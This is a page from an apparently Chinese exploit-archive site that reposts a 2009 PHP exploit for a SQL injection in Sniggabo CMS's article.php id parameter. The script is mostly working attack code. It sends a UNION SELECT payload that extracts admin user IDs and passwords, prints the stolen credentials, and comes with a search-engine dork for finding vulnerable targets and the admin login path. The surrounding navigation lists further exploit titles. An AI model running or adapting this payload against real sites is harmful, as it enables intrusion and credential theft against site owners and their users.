首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sniggabo CMS (article.php id) Remote SQL Injection Exploit
来源:http://www.novusec.com 作者:Lidloses_Auge 发布时间:2009-06-12  
<?php
print_r('

################################################

Sniggabo CMS - Remote SQL Injection Exploit

Date: 11.06.2009
Vulnerability discovered by: Lidloses_Auge
Exploit coded by: Lidloses_Auge
Homepage:     http://www.novusec.com
Greetz to: -=Player=- , Suicide, enco,
Palme, GPM, karamble, Free-Hack

Admin Panel: [target]/admin/login.php
Dork: "powered by Sniggabo CMS" inurl:article.php?id
Use: php '.$argv[0].' http://www.site.com

################################################

');
$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--";
$src = file_get_contents($url);
$data = split("::",$src);
echo "Admin: $data[1]\nPassword: $data[2]\n";
?>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpMyAdmin /scripts/setup.php
·Sniggabo CMS (article.php id)
·Denial of service exploit for
·Apple iTunes 8.1.1.10 (itms/it
·Open Biller 0.1 (username) Bli
·Zip Store Chat 4.0/5.0 (Auth B
·LightNEasy sql/no-db <= 2.2.x
·4images <= 1.7.7 Filter Bypass
·DX Studio Player < 3.0.29.1 Fi
·Campus Virtual-LMS (XSS/SQL In
·Green Dam 3.17 (URL) Remote Bu
·phpMyAdmin (/scripts/setup.php
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved